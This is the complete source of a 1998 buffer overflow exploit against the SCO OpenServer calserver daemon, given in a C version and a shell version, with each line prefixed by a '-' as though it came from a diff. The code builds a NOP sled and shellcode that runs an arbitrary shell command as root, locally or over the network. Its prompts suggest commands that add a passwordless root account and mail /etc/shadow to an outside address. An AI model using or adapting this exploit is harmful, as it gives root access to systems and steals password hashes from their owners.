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- */
- #include <stdio.h>
- #include <fcntl.h>
- #include <netdb.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
-
- main(argc, argv)
- int argc;
- char *argv[];
- {
- #define calserver_pipe "/usr/lib/scosh/pipes/pdg18e5_0000"
- #define start_addr 0x7ffffd80
- #define hostnamelen 100
- #define portnumberlen 10
- #define cmdlen 80
- char hostname[hostnamelen],portnumber[portnumberlen],cmd[cmdlen];
- char *hn,*pn;
- int s;
- struct sockaddr_in sin;
- struct hostent *hp, *gethostbyname();
- char msg[850];
- char *msghdr=
- "\x00\x00\x00\x00" // message length
- "\x00\x00\x00\x00"
- "\x00\x00\x00\x00"
- "\x00\x00\x00\x00"
- "\x00\x00\x00\x00"
- "\xff\xff\xff\xff"
- "\x00\x00\x00\x00"
- "\x00\x00\x00\x00"
- "\x00\x00\x00\x00"
- "\x00\x00\x00\x00"
- "\x00\x00\x00\x00" // packet_sz
- "\x1c\x00\x00\x00" // opcode
- "\x00\x00\x00\x00"; // maxmsgsz
- char codes[]=
- {
- "\xeb\x7f" //start : jmp cont
- "\x5d" //geteip: popl %ebp
- "\x55" // pushl %ebp
- "\xfe\x4d\x98" // decb 0xffffff98(%ebp)
- "\xfe\x4d\x9b" // decb 0xffffff9b(%ebp)
- "\xfe\x4d\xe7" // decb 0xffffffe7(%ebp)
- "\xfe\x4d\xeb" // decb 0xffffffeb(%ebp)
- "\xfe\x4d\xec" // decb 0xffffffec(%ebp)
- "\xfe\x4d\xed" // decb 0xffffffed(%ebp)
- "\xff\x45\xef" // incl 0xffffffef(%ebp)
- "\xfe\x4d\xf4" // decb 0xfffffff4(%ebp)
- "\xc3" // ret
- "/bin/sh" //
- "\x01" // 0xffffff98(%ebp)
- "-c"
- "\x01" // 0xffffff9b(%ebp)
- " "
- " "
- "\x01" // 0xffffffe7(%ebp)
- "\x8d\x05\x3b\x01\x01\x01" //execv : leal 0x3b,%eax
- "\x9a\xff\xff\xff\xff\x07\x01" // lcall 0x7,0x0
- "\xc7\xc4\xff\xff\xff\xff" //cont : movl $0xXXXX,%esp
- "\xe8\x76\xff\xff\xff" // call geteip
- "\x33\xc0" // xorl %eax,%eax
- "\x50" // pushl %eax
- "\x81\xc5\x9c\xff\xff\xff" // addl $0xffffff9c,%ebp
- "\x55" // pushl %ebp
- "\x81\xc5\xfd\xff\xff\xff" // addl $0xfffffffd,%ebp
- "\x55" // pushl %ebp
- "\x81\xc5\xf8\xff\xff\xff" // addl $0xfffffff8,%ebp
- "\x55" // pushl %ebp
- "\x55" // pushl %ebp
- "\x5b" // pop %ebx
- "\x8b\xec" // movl %esp,%ebp
- "\x50" // pushl %eax
- "\x55" // pushl %ebp
- "\x53" // pushl %ebx
- "\x50" // pushl %eax
- "\xeb\xc6" // jmp execv
- };
-
- if (argc<2)
- {
- printf("Host [local] : ");
- gets(hostname);
- if (!strlen(hostname)) strcpy(hostname,"local");
- hn=hostname;
- }
- else
- hn=argv[1];
-
- if ((argc<3)&&strcmp("local",hn))
- {
- printf("Port [6373] : ");
- gets(portnumber);
- if (!strlen(portnumber)) strcpy(portnumber,"6373");
- pn=portnumber;
- }
- else
- pn=argv[2];
-
- printf("Type a command (max length=75), for example :\n");
- printf("\"echo r00t::0:0:Leshka Zakharoff:/:>>/etc/passwd\"\n");
- printf("\"mail leshka@leshka.chuvashia.su</etc/shadow\"\n");
- printf(" <-----------------------------------75");
- printf("------------------------------------>\n>");
- gets(cmd);
- memcpy(codes+40,cmd,strlen(cmd));
-
- memset(msg,'\x90',600);
- memcpy(msg,msghdr,52);
- *(unsigned long*) (msg+201)= *(unsigned long*) (codes+131) = start_addr;
- memcpy(msg+600,codes,strlen(codes));
-
- if (!strcmp("local",hn))
- {
- * (unsigned long*) msg = (unsigned long) (600+strlen(codes)-4);
- if ((s=open(calserver_pipe,O_WRONLY)) == -1)
- {
- printf("Error opening calserver pipe\n");
- exit(1);
- };
- if (write(s,msg,600+strlen(codes)) == -1)
- {
- printf("Error writing to the calserver pipe\n");
- exit(1);
- };
- exit(0);
- };
-
- hp = gethostbyname(hn);
- if (hp == 0)
- {
- herror("gethostbyname");
- exit(1);
- }
- memcpy(&sin.sin_addr,hp->h_addr,hp->h_length);
- sin.sin_family = hp->h_addrtype;
- sin.sin_port = htons(atoi(pn));
- if ((s = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
- {
- perror("socket");
- exit(1);
- }
- if (connect(s, (struct sockaddr *) &sin, sizeof(sin)) == -1)
- {
- perror("connect");
- exit(1);
- }
- if (write(s, msg+12,600-12+strlen(codes)) == -1)
- {
- perror("write");
- exit(1);
- }
- close(s);
- }
-
- *** Shell version ***
-
- #!/bin/sh
- #
- # ... The punishment for inobedience ...
- #
- # This is a local/remote buffer overflow exploit for calserver bug
- # (SCO OpenServer Enterprise System v 5.0.4p).
- # If you have any problems with it, drop me a letter.
- # Happy New Year !
- #
- #
- # *** Brief manual ***
- #
- # Local mode is a default mode for the calendar server. If calserver
- # runs on your site in this mode just try to run the exploit with only
- # argument "local". If calserver operates on your or other sites in the
- # network mode you should use exploit with two arguments: "<sitename>" and
- # "<portnumber>". Portnumber is usually equal to 6373 but other values are
- # possible. Don't use "localhost" or "127.0.0.1" as a <sitename>. Check
- # "/usr/lib/scosh/calargs" file to see the current mode of the calendar
- # server.
- # Execution of the exploit is similar to a blind execution of the
- # following command with root permissions: "/bin/sh -c <command>".
- # There are a few limitations for number and length of commands. The
- # length of a command should not exceed 75 symbols. The number of
- # executable commands depends on calserver configuration and it is equal to
- # the number of child calendar servers which are basically 4 by default.
- # Therefore running of this exploit must be very effective. You are free
- # to use sequences of a shell commands separated by ";" as a <command>.
- #
- # 9.999,99
- #
- # ----------------------
- # ---------------------------------------------
- # ----------------- Dedicated to my beautiful lady ------------------
- # ---------------------------------------------
- # ----------------------
- #
- # Leshka Zakharoff, 1998. E-mail: leshka@leshka.chuvashia.su
- #
- #
- #
- calserver_pipe="/usr/lib/scosh/pipes/pdg18e5_0000"
- msg="/tmp/msg"
- msghdr1='\02\03\0\0\0\0\0\0\0\0\0\0'
- msghdr2='\0\0\0\0\0\0\0\0\0377\0377\0377\0377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'\
- '\0\0\0\0\034\0\0\0\0\0\0\0'
- codes1='\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0200\0375\0377\0177\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
- '\0353\0177]U\0376M\0230\0376M\0233\0376M\0347\0376M\0353\0376M\0354\0376M'\
- '\0355\0377E\0357\0376M\0364\0303/bin/sh\01-c\01'
- codes2='\01\0215\05;\01\01\01\0232\0377\0377\0377\0377\07\01\0307\0304\0200'\
- '\0375\0377\0177\0350v\0377\0377\03773\0300P\0201\0305\0234\0377\0377\0377U'\
- '\0201\0305\0375\0377\0377\0377U\0201\0305\0370\0377\0377\0377UU[\0213\0354'\
- 'PUSP\0353\0306'
- rm -f $msg
- if [ _$1 = "_" ]
- then
- {
- echo -n "Host [local] :"
- read hostname
- if [ _$hostname = "_" ]
- then
- hostname="local"
- fi
- }
- else
- hostname=$1
- fi
- if [ _$hostname = "_local" ]
- then
- if [ -p $calserver_pipe ]
- then
- echo -n $msghdr1>$msg
- else
- echo "Error opening calserver pipe"
- exit 1
- fi
- else
- if [ _$2 = "_" ]
- then
- {
- echo -n "Port [6373] :"
- read portnumber
- if [ _$portnumber = "_" ]
- then
- portnumber="6373"
- fi
- }
- else
- portnumber=$2
- fi
- fi
- echo "Type a command (max length=75), for example :"
- echo '"echo r00t::0:0:Leshka Zakharoff:/:>>/etc/passwd"'
- echo '"mail leshka@leshka.chuvashia.su</etc/shadow"'
- echo -n " <-----------------------------------75"
- echo -n "------------------------------------>\n>"
- read c
- echo -n $msghdr2$codes1>>$msg
- printf "%75s" "$c">>$msg
- echo -n $codes2>>$msg
- if [ _$hostname = "_local" ]
- then
- cat $msg>>$calserver_pipe
- else
- {
- echo -n '\0377\0377\0377\0377'>>$msg
- cat $msg|/etc/ttcp -u -t -l762 -p$portnumber $hostname
- }
- fi
- rm $msg
-
-